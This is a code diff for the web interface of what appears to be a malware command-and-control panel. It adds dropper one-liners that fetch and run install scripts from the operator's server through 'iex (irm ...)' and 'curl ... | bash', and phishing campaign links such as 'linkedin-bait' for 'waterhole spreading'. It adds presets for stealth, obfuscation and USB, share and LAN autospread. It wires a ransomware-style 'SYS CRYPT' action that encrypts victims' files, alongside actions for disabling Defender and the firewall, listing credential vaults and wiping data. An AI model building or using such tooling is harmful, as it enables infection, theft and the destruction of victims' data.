|
||||
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
|
||||
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
|
||||
] as const;
|
||||
|
||||
export function isWindowsPlatform(platform?: string): boolean {
|
||||
if (!platform) return true;
|
||||
return platform.toLowerCase().includes('win');
|
||||
}
|
||||
|
||||
export function onlineAgents(agents: Agent[]): Agent[] {
|
||||
return agents.filter((a) => a.status === 'online');
|
||||
}
|
||||
|
||||
export function windowsOnlineAgents(agents: Agent[]): Agent[] {
|
||||
return onlineAgents(agents).filter((a) => isWindowsPlatform(a.platform));
|
||||
}
|
||||
|
||||
/** True when at least one online selected agent can run the aggressive action. */
|
||||
export function selectionCanRunAggressive(
|
||||
action: AggressiveRemoteAction,
|
||||
agents: Agent[]
|
||||
): boolean {
|
||||
const targets = onlineAgents(agents);
|
||||
if (targets.length === 0) return false;
|
||||
return targets.some((a) => canRunAggressiveAction(action, a.capabilities, a.platform));
|
||||
}
|
||||
|
||||
/** Disabled-state tooltip for bulk aggressive ops across a mixed selection. */
|
||||
export function selectionAggressiveHint(
|
||||
action: AggressiveRemoteAction,
|
||||
agents: Agent[]
|
||||
): string | undefined {
|
||||
const targets = onlineAgents(agents);
|
||||
if (targets.length === 0) return 'Select at least one online node';
|
||||
if (selectionCanRunAggressive(action, agents)) return undefined;
|
||||
const blocked = targets.find(
|
||||
(a) => !canRunAggressiveAction(action, a.capabilities, a.platform)
|
||||
);
|
||||
return aggressiveActionHint(action, blocked?.capabilities, blocked?.platform);
|
||||
}
|
||||
|
||||
/** Parse camera_list newline output into device paths/names. */
|
||||
export function parseCameraListMessage(message: string): string[] {
|
||||
return message
|
||||
.split('\n')
|
||||
.map((l) => l.trim())
|
||||
.filter((l) => l.length > 0 && !l.startsWith('['));
|
||||
}
|
||||
|
||||
export interface PortForwardRow {
|
||||
id: string;
|
||||
localPort: string;
|
||||
remoteHostPort: string;
|
||||
sshUser: string;
|
||||
}
|
||||
|
||||
export interface SSHForwardPayload {
|
||||
local_port: number;
|
||||
remote_host: string;
|
||||
remote_port: number;
|
||||
ssh_user?: string;
|
||||
}
|
||||
|
||||
/** Split "host:port" with optional IPv6 bracket form [::1]:22 */
|
||||
export function parseRemoteHostPort(raw: string): { host: string; port: number } | null {
|
||||
const trimmed = raw.trim();
|
||||
if (!trimmed) return null;
|
||||
if (trimmed.startsWith('[')) {
|
||||
const end = trimmed.indexOf(']');
|
||||
if (end < 0) return null;
|
||||
const host = trimmed.slice(1, end);
|
||||
const rest = trimmed.slice(end + 1);
|
||||
if (!rest.startsWith(':')) return null;
|
||||
const port = parseInt(rest.slice(1), 10);
|
||||
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
|
||||
return { host, port };
|
||||
}
|
||||
const idx = trimmed.lastIndexOf(':');
|
||||
if (idx <= 0) return null;
|
||||
const host = trimmed.slice(0, idx);
|
||||
const port = parseInt(trimmed.slice(idx + 1), 10);
|
||||
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
|
||||
return { host, port };
|
||||
}
|
||||
|
||||
export function buildSSHForwardPayload(
|
||||
localPort: string,
|
||||
remoteHostPort: string,
|
||||
sshUser?: string
|
||||
): SSHForwardPayload | null {
|
||||
const local = parseInt(localPort.trim(), 10);
|
||||
const remote = parseRemoteHostPort(remoteHostPort);
|
||||
if (!Number.isFinite(local) || local <= 0 || local > 65535 || !remote) return null;
|
||||
const payload: SSHForwardPayload = {
|
||||
local_port: local,
|
||||
remote_host: remote.host,
|
||||
remote_port: remote.port,
|
||||
};
|
||||
const user = sshUser?.trim();
|
||||
if (user) payload.ssh_user = user;
|
||||
return payload;
|
||||
}
|
||||
|
||||
export function newPortForwardRow(id?: string): PortForwardRow {
|
||||
const rowId = id ?? `pf-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
return { id: rowId, localPort: '2222', remoteHostPort: '192.168.1.10:22', sshUser: '' };
|
||||
}
|
||||
|
||||
export function validatePortForwardRows(rows: PortForwardRow[]): string | null {
|
||||
if (rows.length === 0) return 'Add at least one forward row';
|
||||
for (const row of rows) {
|
||||
if (!buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser)) {
|
||||
return `Invalid row: local ${row.localPort} → ${row.remoteHostPort}`;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export type CrucibleDispatchArgs = Record<string, unknown>;
|
||||
|
||||
export interface CrucibleDispatchTarget {
|
||||
id: string;
|
||||
name: string;
|
||||
}
|
||||
32
server/web/src/help/emberwake.test.ts
Normal file
32
server/web/src/help/emberwake.test.ts
Normal file
@@ -0,0 +1,32 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
campaignQuery,
|
||||
combinedDropperQuery,
|
||||
ps1Oneliner,
|
||||
shOneliner,
|
||||
publicDownloadUrl,
|
||||
} from './emberwake';
|
||||
|
||||
describe('emberwake URL helpers', () => {
|
||||
it('builds campaign query slug', () => {
|
||||
expect(campaignQuery('linkedin-bait')).toBe('?c=linkedin-bait');
|
||||
expect(campaignQuery(' ')).toBe('');
|
||||
expect(campaignQuery('bad slug!')).toBe('?c=badslug');
|
||||
});
|
||||
|
||||
it('combines pin and campaign', () => {
|
||||
expect(combinedDropperQuery('abc-123', 'wave-a')).toBe('?pin=abc-123&c=wave-a');
|
||||
expect(combinedDropperQuery('', 'solo')).toBe('?c=solo');
|
||||
});
|
||||
|
||||
it('formats one-liners', () => {
|
||||
expect(ps1Oneliner('http://10.0.0.5:8989/', '?c=x')).toContain('install.ps1?c=x');
|
||||
expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
|
||||
});
|
||||
|
||||
it('public download URL', () => {
|
||||
expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
|
||||
'http://host/api/v1/public/download/build-1?c=c1',
|
||||
);
|
||||
});
|
||||
});
|
||||
45
server/web/src/help/emberwake.ts
Normal file
45
server/web/src/help/emberwake.ts
Normal file
@@ -0,0 +1,45 @@
|
||||
/** Campaign URL builders for Emberwake / waterhole spreading. */
|
||||
|
||||
export function campaignQuery(campaign: string): string {
|
||||
const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
|
||||
return slug ? `?c=${encodeURIComponent(slug)}` : '';
|
||||
}
|
||||
|
||||
export function pinQuery(buildId: string): string {
|
||||
const id = buildId.trim();
|
||||
return id ? `?pin=${encodeURIComponent(id)}` : '';
|
||||
}
|
||||
|
||||
export function combinedDropperQuery(pinBuildId: string, campaign: string): string {
|
||||
const parts: string[] = [];
|
||||
const pin = pinBuildId.trim();
|
||||
const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
|
||||
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
|
||||
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
|
||||
return parts.length ? `?${parts.join('&')}` : '';
|
||||
}
|
||||
|
||||
export function ps1Oneliner(baseUrl: string, query = ''): string {
|
||||
const base = baseUrl.replace(/\/$/, '');
|
||||
return `iex (irm '${base}/install.ps1${query}')`;
|
||||
}
|
||||
|
||||
export function shOneliner(baseUrl: string, query = ''): string {
|
||||
const base = baseUrl.replace(/\/$/, '');
|
||||
return `curl -sL '${base}/install.sh${query}' | bash`;
|
||||
}
|
||||
|
||||
export function commandOneliner(baseUrl: string, query = ''): string {
|
||||
const base = baseUrl.replace(/\/$/, '');
|
||||
return `curl -sL '${base}/install.command${query}' | bash`;
|
||||
}
|
||||
|
||||
export function getUrl(baseUrl: string, query = ''): string {
|
||||
return `${baseUrl.replace(/\/$/, '')}/get${query}`;
|
||||
}
|
||||
|
||||
export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
|
||||
const base = origin.replace(/\/$/, '');
|
||||
const q = campaignQuery(campaign);
|
||||
return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
|
||||
}
|
||||
@@ -73,6 +73,20 @@ const AGENT_HANDLED = new Set([
|
||||
'bits_persist',
|
||||
'host_binary_persist',
|
||||
'mesh_status',
|
||||
'connectivity_probe',
|
||||
'arp_neighbors',
|
||||
'persistence_audit',
|
||||
'kill_process',
|
||||
'delete_path',
|
||||
'move_path',
|
||||
'registry_read',
|
||||
'registry_write',
|
||||
'registry_delete',
|
||||
'upgrade',
|
||||
'smb_shares',
|
||||
'spread_status',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
]);
|
||||
|
||||
describe('remote action wiring', () => {
|
||||
@@ -96,8 +110,8 @@ describe('remote action wiring', () => {
|
||||
|
||||
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
|
||||
it('lists every wired aggressive command once', () => {
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(21);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(21);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -138,6 +152,9 @@ describe('canRunAggressiveAction edge cases', () => {
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'smb_shares',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'firewall_off',
|
||||
|
||||
41
server/web/src/help/remoteDirBrowser.test.ts
Normal file
41
server/web/src/help/remoteDirBrowser.test.ts
Normal file
@@ -0,0 +1,41 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
defaultBrowseRoot,
|
||||
joinRemotePath,
|
||||
parseListDirMessage,
|
||||
pathBreadcrumbs,
|
||||
} from './remoteDirBrowser';
|
||||
|
||||
describe('remoteDirBrowser helpers', () => {
|
||||
it('parseListDirMessage reads agent JSON', () => {
|
||||
const msg = JSON.stringify({
|
||||
path: '/home/alice',
|
||||
home_dir: '/home/alice',
|
||||
platform: 'linux',
|
||||
entries: [{ name: 'docs', is_dir: true, size: 0 }],
|
||||
});
|
||||
const parsed = parseListDirMessage(msg);
|
||||
expect(parsed?.path).toBe('/home/alice');
|
||||
expect(parsed?.entries).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('defaultBrowseRoot returns empty for agent home resolution', () => {
|
||||
expect(defaultBrowseRoot('windows')).toBe('');
|
||||
expect(defaultBrowseRoot('linux')).toBe('');
|
||||
});
|
||||
|
||||
it('joinRemotePath handles unix parent', () => {
|
||||
expect(joinRemotePath('/home/alice/docs', '..')).toBe('/home/alice');
|
||||
expect(joinRemotePath('/home/alice/docs', 'file.txt')).toBe('/home/alice/docs/file.txt');
|
||||
});
|
||||
|
||||
it('joinRemotePath handles windows parent', () => {
|
||||
expect(joinRemotePath('C:\\Users\\alice', '..')).toBe('C:\\Users');
|
||||
expect(joinRemotePath('C:\\Users\\alice', 'Desktop')).toBe('C:\\Users\\alice\\Desktop');
|
||||
});
|
||||
|
||||
it('pathBreadcrumbs splits mixed separators', () => {
|
||||
expect(pathBreadcrumbs('/var/log')).toEqual(['var', 'log']);
|
||||
expect(pathBreadcrumbs('C:\\Users\\bob')).toEqual(['C:', 'Users', 'bob']);
|
||||
});
|
||||
});
|
||||
55
server/web/src/help/remoteDirBrowser.ts
Normal file
55
server/web/src/help/remoteDirBrowser.ts
Normal file
@@ -0,0 +1,55 @@
|
||||
export interface DirEntry {
|
||||
name: string;
|
||||
is_dir: boolean;
|
||||
size: number;
|
||||
}
|
||||
|
||||
export interface ListDirResult {
|
||||
path: string;
|
||||
home_dir?: string;
|
||||
platform?: string;
|
||||
entries: DirEntry[];
|
||||
}
|
||||
|
||||
export function parseListDirMessage(message: string): ListDirResult | null {
|
||||
try {
|
||||
const j = JSON.parse(message) as ListDirResult;
|
||||
if (j.entries && Array.isArray(j.entries)) {
|
||||
return {
|
||||
path: j.path ?? '',
|
||||
home_dir: j.home_dir,
|
||||
platform: j.platform,
|
||||
entries: j.entries,
|
||||
};
|
||||
}
|
||||
} catch {
|
||||
/* not JSON */
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Initial browse path sent to the agent (empty → agent home). */
|
||||
export function defaultBrowseRoot(_platform?: string): string {
|
||||
return '';
|
||||
}
|
||||
|
||||
export function joinRemotePath(cwd: string, name: string): string {
|
||||
const sep = cwd.includes('/') ? '/' : '\\';
|
||||
if (name === '..') {
|
||||
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
|
||||
parts.pop();
|
||||
if (parts.length === 0) {
|
||||
return sep === '/' ? '/' : 'C:\\';
|
||||
}
|
||||
const joined = parts.join(sep);
|
||||
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
|
||||
return parts[0] + ':\\';
|
||||
}
|
||||
return (cwd.startsWith('/') ? '/' : '') + joined;
|
||||
}
|
||||
return cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
}
|
||||
|
||||
export function pathBreadcrumbs(cwd: string): string[] {
|
||||
return cwd.split(/[/\\]/).filter(Boolean);
|
||||
}
|
||||
88
server/web/src/help/spreadProfiles.ts
Normal file
88
server/web/src/help/spreadProfiles.ts
Normal file
@@ -0,0 +1,88 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
export type SpreadProfileId = 'web_drop' | 'desktop_fusion' | 'lan_kindling' | 'crucible_ops';
|
||||
|
||||
export interface SpreadProfile {
|
||||
id: SpreadProfileId;
|
||||
label: string;
|
||||
color: string;
|
||||
blurb: string;
|
||||
apply: (form: BuildRequest) => BuildRequest;
|
||||
}
|
||||
|
||||
export const SPREAD_PROFILES: SpreadProfile[] = [
|
||||
{
|
||||
id: 'web_drop',
|
||||
label: 'Web Drop',
|
||||
color: '#3dd6c6',
|
||||
blurb: 'Headless Linux — small, systemd, no screenshot, minimal spread',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
target_os: 'linux',
|
||||
target_arch: 'amd64',
|
||||
spread_kit: false,
|
||||
fusion_enabled: false,
|
||||
stealth_mode: true,
|
||||
file_logging: false,
|
||||
remote_aggressive: false,
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
run_as: 'service',
|
||||
autostart_mode: 'boot_task',
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'desktop_fusion',
|
||||
label: 'Desktop Fusion',
|
||||
color: '#f0abfc',
|
||||
blurb: 'Big stealth fusion — garble on, visible UI off',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
spread_kit: false,
|
||||
fusion_enabled: true,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
obfuscate: true,
|
||||
remote_aggressive: false,
|
||||
auto_spread: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'lan_kindling',
|
||||
label: 'LAN Kindling',
|
||||
color: '#ff6b2c',
|
||||
blurb: 'Universal spread kit + autospread for LAN/USB',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
spread_kit: true,
|
||||
fusion_enabled: false,
|
||||
stealth_mode: true,
|
||||
auto_spread: true,
|
||||
usb_spread: true,
|
||||
share_spread: true,
|
||||
remote_aggressive: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'crucible_ops',
|
||||
label: 'Crucible Ops',
|
||||
color: '#c9a227',
|
||||
blurb: 'Aggressive remote ops enabled for Crucible',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
remote_aggressive: true,
|
||||
hole_punch: true,
|
||||
auto_spread: false,
|
||||
}),
|
||||
},
|
||||
];
|
||||
|
||||
export function applySpreadProfile(form: BuildRequest, id: SpreadProfileId): BuildRequest {
|
||||
const profile = SPREAD_PROFILES.find((p) => p.id === id);
|
||||
return profile ? profile.apply(form) : form;
|
||||
}
|
||||
@@ -40,6 +40,10 @@
|
||||
.bm-loading {
|
||||
padding: 2rem;
|
||||
text-align: center;
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 2px;
|
||||
background: rgba(8, 6, 4, 0.45);
|
||||
box-shadow: var(--shadow-panel);
|
||||
}
|
||||
|
||||
/* ── card grid ── */
|
||||
|
||||
@@ -42,6 +42,7 @@ import {
|
||||
defaultRunnerName,
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
|
||||
import './Pages.css';
|
||||
|
||||
export function formatBytes(n: number): string {
|
||||
@@ -158,6 +159,7 @@ export default function BuilderPage() {
|
||||
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
|
||||
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
|
||||
const fusionPrepRef = useRef<HTMLDivElement>(null);
|
||||
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
|
||||
|
||||
// Drive simulated stage progress while a single build is running
|
||||
useEffect(() => {
|
||||
@@ -1025,6 +1027,7 @@ export default function BuilderPage() {
|
||||
|
||||
<div className="card builder-form">
|
||||
{simpleMode ? (
|
||||
<>
|
||||
<div className="forge-simple-banner card">
|
||||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||
@@ -1032,6 +1035,30 @@ export default function BuilderPage() {
|
||||
Reset to recommended defaults
|
||||
</button>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Spread profile presets</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
{SPREAD_PROFILES.map((p) => (
|
||||
<button
|
||||
key={p.id}
|
||||
type="button"
|
||||
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
|
||||
style={{ borderColor: spreadProfile === p.id ? p.color : undefined, color: spreadProfile === p.id ? p.color : undefined }}
|
||||
title={p.blurb}
|
||||
onClick={() => {
|
||||
setSpreadProfile(p.id);
|
||||
if (form) setForm(applySpreadProfile(form, p.id));
|
||||
}}
|
||||
>
|
||||
{p.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
{spreadProfile && (
|
||||
<p className="form-hint">{SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb}</p>
|
||||
)}
|
||||
</div>
|
||||
</>
|
||||
) : (
|
||||
<div className="forge-rules-banner">
|
||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||
|
||||
@@ -486,6 +486,145 @@
|
||||
|
||||
.cop-shell { grid-column: 1 / -1; }
|
||||
|
||||
.cop-network { grid-column: 1 / -1; border-color: rgba(58, 134, 255, 0.2); }
|
||||
.cop-network .cop-label { color: rgba(58, 134, 255, 0.8); border-bottom-color: rgba(58, 134, 255, 0.14); }
|
||||
.cop-network .crucible-op-btn {
|
||||
border-color: rgba(58, 134, 255, 0.28);
|
||||
color: rgba(120, 180, 255, 0.95);
|
||||
}
|
||||
.cop-network .crucible-op-btn:hover:not(:disabled) {
|
||||
background: rgba(58, 134, 255, 0.1);
|
||||
border-color: #3a86ff;
|
||||
box-shadow: 0 0 9px -2px rgba(58, 134, 255, 0.4);
|
||||
}
|
||||
|
||||
.cop-persist { border-color: rgba(255, 45, 166, 0.18); }
|
||||
.cop-persist .cop-label { color: rgba(255, 45, 166, 0.75); border-bottom-color: rgba(255, 45, 166, 0.12); }
|
||||
.cop-persist .crucible-op-btn {
|
||||
border-color: rgba(255, 45, 166, 0.28);
|
||||
color: rgba(255, 120, 200, 0.95);
|
||||
}
|
||||
|
||||
.cop-maint { grid-column: 1 / -1; border-color: rgba(0, 212, 170, 0.2); }
|
||||
.cop-maint .cop-label { color: rgba(0, 212, 170, 0.8); border-bottom-color: rgba(0, 212, 170, 0.14); }
|
||||
|
||||
.crucible-op-collapsible .cop-toggle {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
background: none;
|
||||
border: none;
|
||||
padding: 0;
|
||||
cursor: pointer;
|
||||
text-align: left;
|
||||
}
|
||||
.crucible-op-collapsible .cop-toggle .cop-label {
|
||||
border-bottom: none;
|
||||
margin-bottom: 0;
|
||||
padding-bottom: 0;
|
||||
}
|
||||
.crucible-op-collapsible .cop-chevron {
|
||||
font-size: 0.65rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
.crucible-op-collapsible .cop-body {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
padding-top: 0.45rem;
|
||||
}
|
||||
|
||||
.crucible-inline-row,
|
||||
.crucible-camera-row,
|
||||
.crucible-upgrade-row {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
align-items: center;
|
||||
}
|
||||
.crucible-inline-input,
|
||||
.crucible-inline-select {
|
||||
flex: 1;
|
||||
min-width: 120px;
|
||||
padding: 0.3rem 0.5rem;
|
||||
background: #0d0d1a;
|
||||
border: 1px solid #333;
|
||||
color: #ddd;
|
||||
border-radius: 3px;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
.crucible-registry-panel {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
.crucible-op-active {
|
||||
background: rgba(0, 245, 255, 0.12) !important;
|
||||
border-color: var(--neon-cyan) !important;
|
||||
color: var(--neon-cyan) !important;
|
||||
}
|
||||
.crucible-op-soon {
|
||||
opacity: 0.45 !important;
|
||||
font-size: 0.72rem !important;
|
||||
}
|
||||
.crucible-coming-soon-row {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
padding-top: 0.25rem;
|
||||
border-top: 1px dashed rgba(255, 255, 255, 0.08);
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.crucible-portfwd-matrix {
|
||||
width: 100%;
|
||||
margin-top: 0.35rem;
|
||||
}
|
||||
|
||||
.crucible-portfwd-body {
|
||||
margin-top: 0.4rem;
|
||||
padding: 0.5rem;
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 6px;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
}
|
||||
|
||||
.crucible-portfwd-grid {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
|
||||
.crucible-portfwd-row {
|
||||
display: grid;
|
||||
grid-template-columns: 5rem 1fr 6rem 2rem;
|
||||
gap: 0.35rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.crucible-portfwd-head {
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.08em;
|
||||
color: var(--text-muted);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.crucible-phase-c-row {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
padding-top: 0.35rem;
|
||||
border-top: 1px dashed rgba(255, 255, 255, 0.08);
|
||||
margin-top: 0.35rem;
|
||||
}
|
||||
|
||||
/* ── Op buttons ──────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-op-btn {
|
||||
|
||||
@@ -14,7 +14,9 @@ import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
|
||||
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import FileManager from '../components/Fleet/FileManager';
|
||||
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
|
||||
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import '../components/Fleet/ProtocolTunnelPanel.css';
|
||||
import './CruciblePage.css';
|
||||
@@ -365,6 +367,28 @@ export default function CruciblePage() {
|
||||
|
||||
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
||||
|
||||
const encryptTargets = useMemo(
|
||||
() => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
|
||||
[selectedAgents]
|
||||
);
|
||||
|
||||
const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
|
||||
|
||||
const appendTerminalLine = useCallback((text: string, isCmd = false) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: 'local',
|
||||
agentName: 'YOU',
|
||||
isCmd,
|
||||
text,
|
||||
ts: new Date(),
|
||||
targeted: true,
|
||||
},
|
||||
].slice(-2000));
|
||||
}, []);
|
||||
|
||||
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
|
||||
const crucibleTargetReady =
|
||||
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
|
||||
@@ -1153,6 +1177,29 @@ export default function CruciblePage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<CrucibleExpandedOps
|
||||
selectedAgents={selectedAgents}
|
||||
selectedCount={selectedIds.size}
|
||||
singleSelectedAgent={singleSelectedAgent}
|
||||
commandResults={commandResults}
|
||||
onEcho={appendTerminalLine}
|
||||
onAgentError={(agentId, agentName, action, err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId,
|
||||
agentName,
|
||||
isCmd: false,
|
||||
text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(),
|
||||
success: false,
|
||||
targeted: true,
|
||||
},
|
||||
]);
|
||||
}}
|
||||
/>
|
||||
|
||||
{/* ── SSH ──────────────────────────────────────── */}
|
||||
<div className="crucible-op-group cop-ssh">
|
||||
<span className="cop-label">SSH</span>
|
||||
@@ -1239,13 +1286,13 @@ export default function CruciblePage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* ── Sys Crypt ────────────────────────────────── */}
|
||||
{/* ── Sys Crypt + remote browser ───────────────── */}
|
||||
<div className="crucible-op-group cop-destructive">
|
||||
<span className="cop-label">⚠ Destructive</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
|
||||
title="AES-256-GCM encrypt every file in Documents/home (legacy shortcut; requires Remote Aggressive Ops)"
|
||||
style={{
|
||||
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
|
||||
border: '1px solid #ff2222',
|
||||
@@ -1254,7 +1301,7 @@ export default function CruciblePage() {
|
||||
letterSpacing: '0.06em',
|
||||
}}
|
||||
onClick={() => {
|
||||
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
|
||||
if (!confirm(`SYS CRYPT — encrypt Documents/home on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
|
||||
Promise.all(
|
||||
selectedAgents.filter(online).map((a) =>
|
||||
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
|
||||
@@ -1269,19 +1316,29 @@ export default function CruciblePage() {
|
||||
})
|
||||
)
|
||||
);
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU',
|
||||
isCmd: true,
|
||||
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
|
||||
ts: new Date(),
|
||||
},
|
||||
]);
|
||||
appendTerminalLine(`SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents/home`, true);
|
||||
}}
|
||||
>
|
||||
🔒 SYS CRYPT ({selectedIds.size})
|
||||
</button>
|
||||
{browseAgent && selectedIds.size > 0 ? (
|
||||
<>
|
||||
{selectedIds.size > 1 && (
|
||||
<p className="form-hint" style={{ margin: '0.35rem 0 0', fontSize: '0.72rem' }}>
|
||||
Browsing {browseAgent.name} only — Encrypt applies to all {encryptTargets.length} online selection(s).
|
||||
</p>
|
||||
)}
|
||||
<RemoteDirBrowser
|
||||
agentId={browseAgent.id}
|
||||
agentName={browseAgent.name}
|
||||
platform={browseAgent.platform}
|
||||
online={online(browseAgent)}
|
||||
encryptTargets={encryptTargets}
|
||||
commandResults={fmCommandResults}
|
||||
onTerminalLine={appendTerminalLine}
|
||||
/>
|
||||
</>
|
||||
) : null}
|
||||
</div>
|
||||
|
||||
{/* ── SUPP Seek Mode ───────────────────────────── */}
|
||||
|
||||
51
server/web/src/pages/EmberwakePage.css
Normal file
51
server/web/src/pages/EmberwakePage.css
Normal file
@@ -0,0 +1,51 @@
|
||||
.emberwake-page .spread-section {
|
||||
margin-bottom: 1.5rem;
|
||||
padding: 1rem 1.25rem;
|
||||
border-radius: 8px;
|
||||
border: 1px solid #2a3040;
|
||||
background: linear-gradient(135deg, #12161f 0%, #0d1018 100%);
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section h3 {
|
||||
margin: 0 0 0.5rem;
|
||||
font-size: 1rem;
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section--cyan { border-left: 4px solid #3dd6c6; }
|
||||
